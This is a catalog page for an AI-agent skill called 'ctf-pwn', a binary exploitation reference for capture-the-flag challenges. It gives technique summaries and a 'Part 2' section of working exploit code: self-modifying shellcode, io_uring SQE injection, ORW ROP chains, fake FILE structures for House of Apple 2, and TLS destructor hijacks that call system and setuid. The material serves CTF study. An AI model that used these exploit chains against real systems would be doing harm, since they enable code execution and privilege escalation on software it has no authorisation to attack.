
Ctf Pwn
- 6.5k installs
- 2.9k repo stars
- Updated July 31, 2026
- ljagiello/ctf-skills
ctf-pwn is an agent skill for Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitiv
About
Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not --- name: ctf-pwn description: Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code execution or privilege escalation, such as buffer overflows, format strings, heap bugs, ROP, ret2libc, shellcode, kernel exploitation, seccomp bypass, sandbox escape, or Windows/Linux exploit chains. Do not use it when the main blocker is understanding what the binary does; use reverse engineering first. Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.
- CTF Binary Exploitation (Pwn)
- pwndbg - Linux: [GitHub](https://github.com/pwndbg/pwndbg), macOS: `brew install pwndbg/tap/pwndbg-gdb`
- checksec - included with pwntools
- [field-notes.md](field-notes.md) - Detailed pwn notes: heap exploitation quick reference, additional exploit notes, usef
- If you do not yet understand what the binary does, switch to `/ctf-reverse` before trying to exploit it.
Ctf Pwn by the numbers
- 6,472 all-time installs (skills.sh)
- +174 installs in the week ending Aug 5, 2026 (Skillselion tracking)
- Ranked #101 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
ctf-pwn capabilities & compatibility
- Capabilities
- ctf binary exploitation (pwn) · pwndbg — linux: [github](https://github.com/pwnd · checksec — included with pwntools · [field notes.md](field notes.md) detailed pwn · if you do not yet understand what the binary doe
- Use cases
- documentation
What ctf-pwn says it does
--- name: ctf-pwn description: Provides binary exploitation techniques for CTF challenges.
Do not use it when the main blocker is understanding what the binary does; use reverse engineering first.
Do not use it for pure web bugs, disk or packet forensics, or standalone crypto/math challenges.
npx skills add https://github.com/ljagiello/ctf-skills --skill ctf-pwnAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 6.5k |
|---|---|
| repo stars | ★ 2.9k |
| Security audit | 1 / 3 scanners passed |
| Last updated | July 31, 2026 |
| Repository | ljagiello/ctf-skills ↗ |
When should developers use ctf-pwn and what problem does it solve?
Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code executi
Who is it for?
Developers working with ctf-pwn patterns described in the skill documentation.
Skip if: Skip when cached docs are empty or the task is outside the skill's documented scope.
When should I use this skill?
Provides binary exploitation techniques for CTF challenges. Use when you already have a vulnerable native target or service and need to turn memory corruption or low-level primitives into code executi
What you get
Grounded guidance and workflows from SKILL.md for ctf-pwn.
- Exploit scripts
- ROP chain layouts
- Documented bypass strategies
By the numbers
- Documents exploit techniques from at least 5 named 2026 CTF challenges
- Structured as Part 2 of an advanced pwn exploit series
Files
CTF Binary Exploitation (Pwn)
Quick reference for binary exploitation (pwn) CTF challenges. Each technique has a one-liner here; see supporting files for full details.
Prerequisites
Python packages (all platforms):
pip install pwntools ropper ROPgadgetLinux (apt):
apt install gdb binutils strace ltrace qemu-system-x86macOS (Homebrew):
brew install gdb binutils qemuRuby gems (all platforms):
gem install one_gadget seccomp-toolsManual install:
- pwndbg — Linux: GitHub, macOS:
brew install pwndbg/tap/pwndbg-gdb - checksec — included with pwntools
Additional Resources
- overflow-basics.md - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct pointer overwrite, signed integer bypass, hidden gadgets, stride-based OOB read leak, parser stack overflow via unchecked memcpy length with callee-saved register restoration
- rop-and-shellcode.md - Core ROP chains (ret2libc, syscall ROP, rdx control, shell interaction), ret2csu, bad character XOR bypass, exotic x86 gadgets (BEXTR/XLAT/STOSB/PEXT), stack pivot via xchg rax,esp, sprintf() gadget chaining for bad character bypass, canary XOR epilogue as RDX zeroing gadget, stub_execveat syscall as execve alternative via read() return value
- rop-advanced.md - Advanced ROP techniques: double stack pivot to BSS via leave;ret, SROP (Sigreturn-Oriented Programming) with UTF-8 constraints, seccomp bypass, RETF architecture switch (x64→x32) for seccomp bypass, shellcode with input reversal, .fini_array hijack, ret2vdso, pwntools template, x32 ABI syscall aliasing for seccomp bypass, time-based blind shellcode exfiltration
- format-string.md - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patching, saved EBP overwrite for .bss pivot, argv[0] overwrite for stack smash info leak, .fini_array loop for multi-stage exploitation, __printf_chk bypass with sequential %p, single-call leak + GOT overwrite, ROT13-encoded format string exploit through input transformation)
- advanced.md - Seccomp advanced techniques, UAF, JIT, esoteric GOT, heap overlap via base conversion, tree data structure stack underallocation, ret2dlresolve, kernel exploitation (basic)
- heap-techniques.md - House of Apple 2 (+ setcontext SUID variant), House of Einherjar, House of Orange/Spirit/Lore/Force, heap grooming, custom allocators (nginx, talloc), classic unlink, musl libc heap (meta pointer + atexit hijack), tcache stashing unlink attack, unsafe unlink + top chunk consolidation
- heap-techniques-2.md - CTF-writeup heap variants: UAF vtable pointer encoding shell argument, uninitialized chunk residue pointer leak, tcache strcpy null-byte overflow + backward consolidation, adjacent-struct fn-pointer overflow for libc leak + GOT overwrite, hidden-menu tcache poisoning, tcache double-free + fake _IO_FILE vtable stdout hijack, tcache-to-fastbin promotion cross-bin attack, 6-bit index OOB + written_bytes accumulator, IS_MMAPED bit-flip for unsorted bin leak on calloc'd chunk, filename-regex-constrained fastbin via LSB-only heap pointer overwrite, custom allocator unsafe unlink to GOT
- heap-fsop.md - FILE-structure (_IO_FILE) exploitation: fastbin stdout vtable two-stage hijack for PIE + Full RELRO, _IO_buf_base null-byte stdin hijack, glibc 2.24+ _IO_FILE vtable validation bypass, unsorted-bin attack on stdin _IO_buf_end, unsorted-bin corruption via mp_ structure, realloc(ptr, 0) as free() UAF, single-byte reference counter wraparound UAF
- advanced-exploits.md - Advanced exploit techniques (part 1): VM signed comparison, BF JIT shellcode, type confusion, off-by-one index corruption, DNS overflow, ASAN shadow memory, format string with encoding constraints, custom canary preservation, signed integer bypass, canary-aware partial overflow, CSV injection, MD5 preimage gadgets, VM GC UAF slab reuse, path traversal sanitizer bypass, FSOP + seccomp bypass via openat/mmap/write
- advanced-exploits-2.md - Advanced exploit techniques (part 2): bytecode validator bypass via self-modification, io_uring UAF with SQE injection, integer truncation int32->int16, GC null-reference cascading corruption, leakless libc via multi-fgets stdout FILE overwrite, signed/unsigned char underflow heap overflow, XOR keystream brute-force write primitive, tcache pointer decryption heap leak, unsorted bin promotion via forged chunk size, FSOP stdout TLS leak, TLS destructor hijack via
__call_tls_dtors, custom shadow stack pointer overflow bypass, signed int overflow negative OOB heap write, XSS-to-binary pwn bridge - advanced-exploits-4.md - Advanced exploit techniques (part 4): Windows SEH overwrite + pushad VirtualAlloc ROP, IAT-relative resolution, detached process shell stability, SeDebugPrivilege SYSTEM escalation, ARM buffer overflow with Thumb shellcode, Forth interpreter system word exploitation, GF(2) Gaussian elimination for multi-pass tcache poisoning, single-bit-flip exploitation primitive (mprotect + iterative code patching), Game of Life shellcode evolution via still-lifes, UAF via menu-driven strdup/free ordering, Windows CFG bypass via system() as valid call target, neural network output as function pointer index OOB, shellcode unique-byte limit bypass via counter overflow
- advanced-exploits-3.md - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-bit loop counter, game AI arithmetic mean OOB read, arbitrary read/write GOT overwrite to shell, stack leak via __environ + memcpy overflow, JIT sandbox escape via uint16 jump truncation, DNS compression pointer stack overflow with multi-question ROP, ELF code signing bypass via program header manipulation, game level format signed/unsigned coordinate mismatch, file descriptor inheritance via missing O_CLOEXEC, sign extension integer underflow in metadata parsing, ROP chain construction with read-only primitive, 4-byte shellcode with timing side-channel via persistent registers, CRC oracle as arbitrary read, UTF-8 case conversion buffer overflow
- advanced-exploits-5.md - Advanced exploit techniques (part 5): data-interpretation exploitation — Chip-8 emulator OOB memory for ret2libc, double-precision float quicksort canary repositioning, bloom filter abs(INT_MIN) negative index OOB write
- sandbox-escape.md - Custom VM exploitation, FUSE/CUSE devices, busybox/restricted shell, shell tricks, process_vm_readv sandbox bypass, named pipe file size bypass, CPU emulator print opcode Python eval injection (cross-references ctf-misc/pyjails.md for Python jail techniques)
- kernel.md - Linux kernel exploitation fundamentals: environment setup, QEMU debug, heap spray structures (tty_struct, poll_list, user_key_payload, seq_operations), kernel stack overflow, canary leak, privilege escalation (ret2usr, kernel ROP), modprobe_path overwrite, core_pattern overwrite, kmalloc size mismatch heap overflow + struct file f_op corruption
- kernel-techniques.md - Kernel exploitation techniques: tty_struct kROP (fake vtable + stack pivot), AAW via ioctl register control, userfaultfd race stabilization, SLUB allocator internals (freelist hardening/obfuscation), leak via kernel panic, MADV_DONTNEED race window extension (DiceCTF 2026), cross-cache CPU-split attack (DiceCTF 2026), PTE overlap file write (DiceCTF 2026), addr_limit bypass via failed file open for kernel memory read/write
- kernel-bypass.md - Kernel protection bypass: KASLR/FGKASLR bypass (__ksymtab), KPTI bypass (swapgs trampoline, signal handler, modprobe_path/core_pattern via ROP), SMEP/SMAP bypass, GDB kernel module debugging, initramfs/virtio-9p workflow, exploit templates, exploit delivery
- field-notes.md - Detailed pwn notes: heap exploitation quick reference, additional exploit notes, useful commands
---
When to Pivot
- If you do not yet understand what the binary does, switch to
/ctf-reversebefore trying to exploit it. - If the service is really a restricted shell, encoding puzzle, or sandbox language challenge, switch to
/ctf-misc. - If the exploit path depends on a web endpoint, session bug, or upload primitive more than memory corruption, switch to
/ctf-web. - If the vulnerability requires breaking a cryptographic primitive before exploitation, switch to
/ctf-crypto.
Quick Start Commands
# Binary analysis
checksec --file=binary
file binary
readelf -h binary
# Find gadgets
ROPgadget --binary binary | grep "pop rdi"
ropper -f binary --search "pop rdi"
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Debug
gdb -q binary -ex 'start' -ex 'checksec'
# Pattern for offset finding
python3 -c "from pwn import *; print(cyclic(200))"
python3 -c "from pwn import *; print(cyclic_find(0x61616168))"
# libc identification
./libc-database/find puts <leaked_addr_last_3_nibbles>Source Code Red Flags
- Threading/
pthread-> race conditions usleep()/sleep()-> timing windows- Global variables in multiple threads -> TOCTOU
Race Condition Exploitation
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'Common Vulnerabilities
- Buffer overflow:
gets(),scanf("%s"),strcpy() - Format string:
printf(user_input) - Integer overflow, UAF, race conditions
Protection Implications for Exploit Strategy
| Protection | Status | Implication |
|---|---|---|
| PIE | Disabled | All addresses (GOT, PLT, functions) are fixed - direct overwrites work |
| RELRO | Partial | GOT is writable - GOT overwrite attacks possible |
| RELRO | Full | GOT is read-only - need alternative targets (hooks, vtables, return addr) |
| NX | Enabled | Can't execute shellcode on stack/heap - use ROP or ret2win |
| Canary | Present | Stack smash detected - need leak or avoid stack overflow (use heap) |
Quick decision tree:
- Partial RELRO + No PIE -> GOT overwrite (easiest, use fixed addresses)
- Full RELRO -> target
__free_hook,__malloc_hook(glibc < 2.34), or return addresses - Stack canary present -> prefer heap-based attacks or leak canary first
Stack Buffer Overflow
1. Find offset: cyclic 200 then cyclic -l <value> 2. Check protections: checksec --file=binary 3. No PIE + No canary = direct ROP 4. Canary leak via format string or partial overwrite 5. Canary brute-force byte-by-byte on forking servers (7*256 attempts max)
ret2win with magic value: Overflow -> ret (alignment) -> pop rdi; ret -> magic -> win(). Stack alignment: SIGSEGV in movaps = add extra ret gadget. Offset: buffer at rbp - N, return at rbp + 8, total = N + 8. Input filtering: assert payload avoids memmem() banned strings. Gadgets: ROPgadget --binary binary | grep "pop rdi", or pwntools ROP() for hidden gadgets in CMP immediates. See overflow-basics.md for full exploit code.
Parser Stack Overflow (Unchecked memcpy)
Pattern: Custom file parser (PCAP, image, archive) allocates fixed stack buffer but input records can exceed it. memcpy copies before length validation, overflowing saved registers and return address. Must restore callee-saved registers: rbx to readable memory (BSS), loop counters to exit values, then ret gadget + win function. See overflow-basics.md.
Struct Pointer Overwrite (Heap Menu Challenges)
Pattern: Menu create/modify/delete on structs with data buffer + pointer. Overflow name into pointer field with GOT address, then write win address via modify. See overflow-basics.md for full exploit and GOT target selection table.
Signed Integer Bypass
Pattern: scanf("%d") without sign check; negative quantity * price = negative total, bypasses balance check. See overflow-basics.md.
Canary-Aware Partial Overflow
Pattern: Overflow valid flag between buffer and canary. Use ./ as no-op path padding for precise length. See overflow-basics.md and advanced.md for full exploit chain.
Global Buffer Overflow (CSV Injection)
Pattern: Adjacent global variables; overflow via extra CSV delimiters changes filename pointer. See overflow-basics.md and advanced.md for full exploit.
ROP Chain Building
Leak libc via puts@PLT(puts@GOT), return to vuln, stage 2 with system("/bin/sh"). See rop-and-shellcode.md for full two-stage ret2libc pattern, leak parsing, and return target selection.
DynELF libc discovery: pwntools.DynELF(leak_func, pointer_in_libc) resolves libc symbols remotely without knowing the libc version. See rop-and-shellcode.md.
Constrained shellcode in small buffers: When buffer is too small, use read() shellcode stub (< 20 bytes) to pull full stage-2 shellcode. See rop-and-shellcode.md.
Raw syscall ROP: When system()/execve() crash (CET/IBT), use pop rax; ret + syscall; ret from libc. See rop-and-shellcode.md.
ret2csu: __libc_csu_init gadgets control rdx, rsi, edi and call any GOT function — universal 3-argument call without libc gadgets. See rop-and-shellcode.md.
Bad char XOR bypass: XOR payload data with key before writing to .data, then XOR back in place with ROP gadgets. Avoids null bytes, newlines, and other filtered characters. See rop-and-shellcode.md.
Exotic gadgets (BEXTR/XLAT/STOSB/PEXT): When standard mov write gadgets are unavailable, chain obscure x86 instructions for byte-by-byte memory writes. See rop-and-shellcode.md.
Stack pivot (xchg rax,esp): Swap stack pointer to attacker-controlled heap/buffer when overflow is too small for full ROP chain. Requires pop rax; ret to load pivot address first. See rop-and-shellcode.md.
rdx control: After puts(), rdx is clobbered to 1. Use pop rdx; pop rbx; ret from libc, or re-enter binary's read setup + stack pivot. See rop-and-shellcode.md.
Canary XOR epilogue as rdx zeroing gadget: When no pop rdx; ret exists, jump into the canary check epilogue xor rdx, fs:28h -- it zeros RDX when the canary is intact. See rop-and-shellcode.md.
stub_execveat as execve alternative: When no pop rax; ret exists, use stub_execveat (syscall 322/0x142) instead of execve -- send exactly 0x142 bytes so read() return value sets rax. See rop-and-shellcode.md.
Shell interaction: After execve, sleep(1) then sendline(b'cat /flag*'). See rop-and-shellcode.md.
Format String Through Input Transformation
ROT13-encoded format string: When input is ROT13/Caesar-transformed before reaching printf, pre-encode the format string payload with the inverse transform so it arrives intact. See format-string.md.
Kernel Exploitation
addr_limit bypass via failed file open: When a kernel module sets addr_limit = KERNEL_DS but fails to restore it on error paths, force the error (e.g., make target file a directory) to retain kernel memory access from userspace read()/write(). See kernel-techniques.md.
Sandbox and Emulator Escape
CPU emulator eval injection: When an emulator's print opcode uses eval('"' + buf + '"') for escape sequences, build "+__import__("os").system("cmd")# in emulator memory via ADD opcodes to escape the string and execute Python. See sandbox-escape.md.
Advanced Exploit Primitives
Neural network function pointer OOB: When a binary uses NN output as an index into a function pointer array without bounds checking, retrain weights/biases to produce an out-of-bounds index that reads a target address from the biases array. See advanced-exploits-4.md.
Shellcode unique-byte limit bypass via counter overflow: When shellcode is limited to N unique bytes, spray the stack to corrupt the seen[256] counter, then re-execute main (skipping memset) so the overflowed counter allows arbitrary bytes on the second run. See advanced-exploits-4.md.
Deep-Dive Notes
Use field-notes.md once you have confirmed the challenge is truly exploitation-heavy.
- Heap and allocator notes: House of Apple, tcache, unsafe unlink, talloc, UAF, FSOP
- Advanced exploit notes: seccomp bypass, ret2vdso, io_uring, integer truncation, ASAN, timing oracles
- Sandbox and hybrid notes: pyjail crossover, busybox escapes, custom VMs, shell tricks, path sanitizers
- Kernel and Windows notes: kernel playbooks, SEH, CFG bypass, privilege escalation
- Historical case notes: older but still reusable CTF exploit patterns
CTF Pwn - Advanced Exploit Techniques (Part 2)
Table of Contents
- Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)
- io_uring UAF with SQE Injection (ApoorvCTF 2026)
- Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)
- GC Null-Reference Cascading Corruption (DiceCTF 2026)
- Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)
- Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)
- XOR Cipher Keystream Brute-Force Write Primitive
- Tcache Pointer Decryption for Heap Leak
- Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)
- FSOP Stdout Redirection for TLS Segment Leak
- TLS Destructor Overwrite for RCE via `__call_tls_dtors`
- Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)
- Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)
- Heap Primitive: Signed Int Overflow in Index Calculation
- Full Exploitation Chain
- XSS-to-Binary Pwn Bridge
- atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)
---
Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)
Pattern (Registered Stack): Bytecode validator only checks initial bytes; runtime self-modification converts validated instructions into forbidden ones (e.g., push fs → syscall).
Key technique: push fs encodes as 0f a0, and syscall as 0f 05. The validator accepts push fs, but at runtime a preceding push rbx overwrites the a0 byte with 05 on the stack, turning it into syscall.
Exploit structure: 1. Use pop instructions to adjust rsp to a predictable memory bucket (~1/16 probability due to ASLR) 2. Seed specific stack values for pop sp instruction (pivots to controlled location) 3. Place syscall gadget disguised as push fs with self-modifying byte mutation 4. Use read(0, stage2_buf, size) syscall to load stage 2 5. Stage 2 contains interactive shell code
code = []
code += [0x59] * 30 # pop rcx x30 → rsp += 0xf0
code += [0x66, 0x5c] # pop sp → pivot to seeded value
code += [0x50] * 17 # push rax x17 (adjust stack)
code += [0x66, 0x50] # push ax
code += [0x66, 0x54, 0x66, 0x5b] # push sp; pop bx (rbx = count for read)
code += [0x50] * 66 # push rax x66
code += [0x66, 0x59] # pop cx
code += [0x53] # push rbx → overwrites next byte!
# Following bytes: 0x54 0x5e 0x53 0x5a 0x54 0x0f 0xa0
# After push rbx mutates 0xa0 → 0x05: becomes syscall
code += [0x54, 0x5e, 0x53, 0x5a, 0x54, 0x0f, 0xa0]Key insight: Bytecode validators that only check the instruction stream statically are vulnerable to self-modification at runtime. Look for instruction pairs where one byte difference changes the instruction's semantics (e.g., 0f a0 → 0f 05). Use preceding instructions to write the mutation byte onto the stack/code region.
---
io_uring UAF with SQE Injection (ApoorvCTF 2026)
Pattern (Abyss): Multi-threaded binary with custom slab allocator and io_uring worker thread. A FLUSH operation frees objects but preserves dangling pointers, creating UAF. Type confusion between freed/reallocated objects enables injection of io_uring SQE (Submission Queue Entry) structures.
Exploitation chain: 1. Exhaust both slab allocators (fill all slots) 2. Leak PIE base from STATUS response 3. FLUSH frees objects (UAF — pointers remain valid) 4. Allocate different type into freed slots (type confusion via exhausted secondary slab falling back to primary) 5. Write crafted io_uring SQE into reused memory 6. Worker thread submits SQE as-is → IORING_OP_OPENAT opens flag file
io_uring SQE structure for file read:
import struct
def craft_sqe(pie_base, flag_path_offset=0x6010):
sqe = bytearray(64)
struct.pack_into('B', sqe, 0, 0x12) # opcode = IORING_OP_OPENAT
struct.pack_into('i', sqe, 4, -100) # fd = AT_FDCWD
struct.pack_into('Q', sqe, 16, pie_base + flag_path_offset) # addr = "/flag.txt"
return bytes(sqe)Key insight: io_uring's kernel-side processing trusts SQE contents from userland shared memory. If an attacker controls the SQE buffer via UAF/type confusion, arbitrary kernel operations (file open, read, write) execute without syscall filtering. XOR-encoded slab freelists add complexity but don't prevent logical UAF when FLUSH clears objects without NULLing all references.
Detection: Binary uses io_uring_setup/io_uring_enter syscalls, custom allocator with FLUSH/cleanup operations, multiple threads sharing memory.
---
Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)
Pattern (Archive): Input validated as int32 (>= 0), then cast to int16_t for bounds check (<= 3). Values 65534-65535 pass the int32 check but become -2/-1 as int16_t, enabling OOB array access.
# Value 65534: int32=65534 (passes >= 0), int16=-2 (passes <= 3)
# ring_array[-2] reads 16 bytes before array → leaks GOT/PIE pointers
payload = str(65534).encode() # Sends as positive int, server casts to int16Dynamic fd capture via `xchg rdi, rax`:
In Docker/socat environments, open() may return fd 4+ instead of 3 (extra inherited fds). Hardcoding fd=3 in ORW ROP chains fails.
# Standard ORW fails in Docker:
# open("/flag.txt") → fd=5 (not 3!)
# read(3, buf, size) → reads wrong fd
# Fix: xchg rdi, rax captures open()'s return value dynamically
rop = ROP(libc)
rop.raw(pop_rdi)
rop.raw(flag_str_addr)
rop.raw(pop_rsi)
rop.raw(0) # O_RDONLY
rop.raw(libc.sym.open)
rop.raw(libc_base + 0x181fe1) # xchg rdi, rax; cld; ret
# rdi now holds actual fd from open()
rop.raw(pop_rsi)
rop.raw(buf_addr)
rop.raw(pop_rdx_xor_eax) # pop rdx; xor eax, eax; ret (dual-purpose!)
rop.raw(0x100) # rdx = size, eax = 0 (SYS_read)
rop.raw(libc.sym.read) # read(actual_fd, buf, 0x100)Key insight: xchg rdi, rax; cld; ret is the critical gadget for containerized ORW — it passes open()'s actual return value to read() without hardcoding the fd number. The pop rdx; xor eax, eax; ret gadget serves double duty: sets rdx for read size AND clears eax to 0 (SYS_read syscall number).
---
GC Null-Reference Cascading Corruption (DiceCTF 2026)
Pattern (Garden): Custom stack-based VM with mark-compact GC. GC's mark_reachable() follows null references (ref=0) to address 0 of the managed heap (zeroed reserved area), creating a fake 4-byte object. During compaction, memmove copies this fake object first, corrupting adjacent real object headers.
Exploit chain: 1. Cascading memmove — Set up sacrificial array SAC with entries[0]=0xFFFF, large array BIG (196 entries) with entries[195]=0x00040005, off-heap object OH
- Null-ref GC corrupts SAC's header to
{0,0}(length=0) - SAC's entry
0xFFFFcascades into BIG's header → BIG.length = 0xFFFF (OOB!) - BIG's entry
0x00040005cascades into OH's header → OH stays valid
2. OOB expansion — Use BIG's OOB write to set OH.obj_size = 0x10000, giving 256KB OOB access on glibc heap
3. Libc leak — Create 70+ extra objects so GC's ctx.objs allocation exceeds 0x410 bytes → freed to unsorted bin → main_arena pointers readable via OH
4. House of Apple 2 FSOP — Build fake FILE in OH's data buffer:
# Fake FILE structure
fake_file = flat({
0x00: b'$0\x00\x00', # _flags — system("$0") spawns shell
0x20: p64(0), # _IO_write_base = 0
0x28: p64(1), # _IO_write_ptr = 1 (> write_base)
0x88: p64(heap_lock_addr), # _lock (valid writable addr)
0xa0: p64(wide_data_addr), # _wide_data
0xc0: p64(1), # _mode = 1 (triggers wide path)
0xd8: p64(io_wfile_jumps), # vtable = _IO_wfile_jumps
})
# Fake _IO_wide_data
fake_wide = flat({
0x18: p64(0), # _IO_write_base = 0
0x30: p64(0), # _IO_buf_base = 0
0xe0: p64(fake_wide_vtable_addr), # _wide_vtable
})
# Fake wide vtable with __doallocate = system
fake_wide_vtable = flat({
0x68: p64(libc.sym.system),
})
# Overwrite _IO_list_all to point to fake FILE5. Trigger — Program exit → _IO_flush_all → fake FILE → _IO_wfile_overflow → _IO_wdoallocbuf → system("$0") → shell
`system("$0")` trick: $0 expands to the shell name when run via system(). Using "$0\x00\x00" as _flags means system(fp) calls system("$0") which spawns a shell.
Key insight: Mark-compact GC that follows null references creates controllable corruption. The cascade effect — where one corrupted header causes memmove to misalign subsequent objects — amplifies a small initial corruption into full OOB access. Combined with FSOP, this achieves code execution from a VM-level bug.
STORE array pattern for VM stack management: When VM only has DUP/SWAP/DROP/DUP_X1, allocate an array object to hold references (via SET_ELEM_OBJ/GET_ELEM_OBJ), enabling random access to values that would otherwise require complex stack juggling.
---
Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)
Pattern (Eyeless): No direct libc leak available (no format string, no UAF, no unsorted bin). Construct a fake stdout FILE structure on BSS via ROP, then call fflush(stdout) to leak a GOT entry containing a libc address.
The null byte problem: fgets appends \x00 after reading. Libc pointers are 6 bytes + 2 null MSBs (0x00007f...). Writing an 8-byte pointer via fgets corrupts the byte after it with \x00. Directly writing adjacent FILE struct fields is impossible without corruption.
Multi-fgets solution: Chain multiple fgets(addr, 7, stdin) calls, each writing 7 bytes. The null byte from each fgets lands on the next field's null MSB (harmless for libc pointers):
# Build ROP chain that calls fgets multiple times to construct stdout on BSS
# Each call writes 7 bytes; null byte falls on canonical address's 0x00 MSB
FAKE_STDOUT = BSS + 0x800
# Write _flags field
rop += fgets_call(FAKE_STDOUT, 7) # write 0xfbad2087 + padding
# Write _IO_write_base = GOT address (the value to leak)
rop += fgets_call(FAKE_STDOUT + 0x20, 7) # write &fflush@GOT
# Write _IO_write_end = GOT address + 8 (controls how many bytes leak)
rop += fgets_call(FAKE_STDOUT + 0x28, 7) # write &fflush@GOT + 8
# ... (zero-fill remaining fields via earlier memset or BSS zeroes)
# Overwrite stdout pointer and flush
rop += flat(POP_RDI, FAKE_STDOUT)
rop += flat(elf.plt['fflush']) # fflush(fake_stdout) → writes GOT contentReceiving the leak:
# fflush writes 8 bytes from _IO_write_base to _IO_write_end
leak = u64(p.recv(8))
libc_base = leak - libc.sym.fflushKey insight: fgets always appends \x00, but libc addresses already end with \x00\x00 in their two MSBs. Writing in 7-byte chunks means the appended null overwrites a byte that is already null. This enables constructing complex structures (FILE, vtables) in BSS without a prior libc leak.
When to use: Binary has fgets or similar input function in PLT, a writable BSS/data region, but no existing leak primitive. Requires ROP control (stack pivot) to chain the multiple fgets calls.
---
Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)
Pattern (heapn⊕te-ic): Message structure stores size as signed char but encryption/display casts to unsigned char. Passing size = -112 stores as char(-112), but (unsigned char)(-112) = 144. With a 127-byte buffer, this gives a 17-byte heap overflow.
Key insight: The signed/unsigned char mismatch is a single-byte integer type — unlike int32→int16 truncation, this exploits the implicit promotion from char to unsigned char in C, common when size fields use char instead of size_t.
XOR Cipher Keystream Brute-Force Write Primitive
The challenge uses a deterministic XOR cipher with djb2 hash chain as keystream:
def hash_string(s):
h = 5381
for c in s:
h = (((h << 5) + h) + c) & 0xFFFFFFFFFFFFFFFF
return h
def get_keystream_byte(seed, x):
h = hash_string(str(seed).encode())
for _ in range(x // 8):
h = hash_string(str(h).encode())
return p64(h)[x % 8]
def brute_seed(x, target_byte):
for seed in range(0xFFFFFFFF):
if get_keystream_byte(seed, x) == target_byte:
return seedKey insight: Deterministic keystream from a brute-forceable seed space enables targeted byte writes via XOR. Each byte position requires finding a seed that produces the desired keystream byte, then XORing with plaintext to write exactly that byte.
Byte-by-byte write primitive:
def write_byte(pos, target_byte, idx, leak=False):
add(underflow(pos), b"A", brute_seed(pos, target_byte))
if leak:
data = view(idx)
delete(idx)
add(underflow(pos+1), b"A", brute_seed(pos, target_byte))
delete(idx)
return data
def overflow_write(offset, payload, idx):
for i, byte in enumerate(payload):
write_byte(offset + i, byte, idx)Tcache Pointer Decryption for Heap Leak
Allocate two chunks, free in LIFO order. The mangled tcache fd pointer (glibc 2.32+ safe-linking) stored in the freed chunk can be decoded:
# fd is mangled: fd = ptr ^ (chunk_addr >> 12)
# When first tcache entry points to NULL (second free):
# fd = 0 ^ (chunk_addr >> 12) = chunk_addr >> 12
# Shift left to recover: heap_addr = fd_pointer << 12
heap_leak = u64(leaked_fd) << 12Key insight: The first entry in a tcache bin has fd = NULL ^ (addr >> 12), so fd << 12 directly yields the heap base region. No brute-force needed.
Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)
To get a libc leak from tcache-sized chunks, forge the next chunk's size header to ≥0x420 (minimum for unsorted bin):
# Overwrite adjacent chunk's size field to 0x431
overflow_write(size_offset, p64(0x431), chunk_idx)
# Ensure fake next_chunk passes: next_chunk.size & PREV_INUSE set
# next_chunk + 0x431 must point to a region with valid size field
# Free the forged chunk → pushed to unsorted bin
# fd/bk now point to main_arena+96
libc_base = u64(leaked_fd) - 0x203b20 # offset to main_arena+96Key insight: Any chunk can be promoted to unsorted bin by forging its size ≥0x420. The consistency check requires that chunk_at_offset(p, size)->size has PREV_INUSE set and is reasonable. Pre-place valid metadata at that boundary.
FSOP Stdout Redirection for TLS Segment Leak
Tcache poison toward _IO_2_1_stdout_ - 0x20 to craft a fake FILE structure that leaks the TLS segment address:
# Poison tcache to allocate at _IO_2_1_stdout_ - 0x20
# Craft fake FILE with _IO_write_base pointing to TLS area
# When stdout flushes, it writes from _IO_write_base to _IO_write_ptr
# Scan output for address ending in 0x...740 (TLS alignment pattern)
# TLS mangle cookie is at tls_addr + 0x30Key insight: Redirecting _IO_write_base of stdout leaks arbitrary memory on the next write. TLS addresses have recognizable alignment patterns — scan the leaked data for them.
TLS Destructor Overwrite for RCE via __call_tls_dtors
The TLS destructor list (__tls_dtor_list) contains entries with function pointers mangled using the pointer guard (stored in TLS). Overwriting this list with crafted entries achieves RCE:
def rol(val, bits, width=64):
return ((val << bits) | (val >> (width - bits))) & ((1 << width) - 1)
# Mangle function pointers with leaked pointer guard
pointer_guard = tls_leak # from stdout FSOP leak
encoded_setuid = rol(libc.sym.setuid ^ pointer_guard, 0x11)
encoded_system = rol(libc.sym.system ^ pointer_guard, 0x11)
# Craft TLS destructor list node
# struct dtor_list { dtor_func func; void *obj; struct dtor_list *next; }
node1 = p64(0) * 2 # padding
node1 += p64(0x111) # fake chunk size
node1 += p64(encoded_setuid) # func = setuid(0)
node1 += p64(0) # obj = 0 (root)
node1 += p64(heap_addr + node2_offset) * 2 # next → node2
node2 = p64(encoded_system) # func = system("/bin/sh")
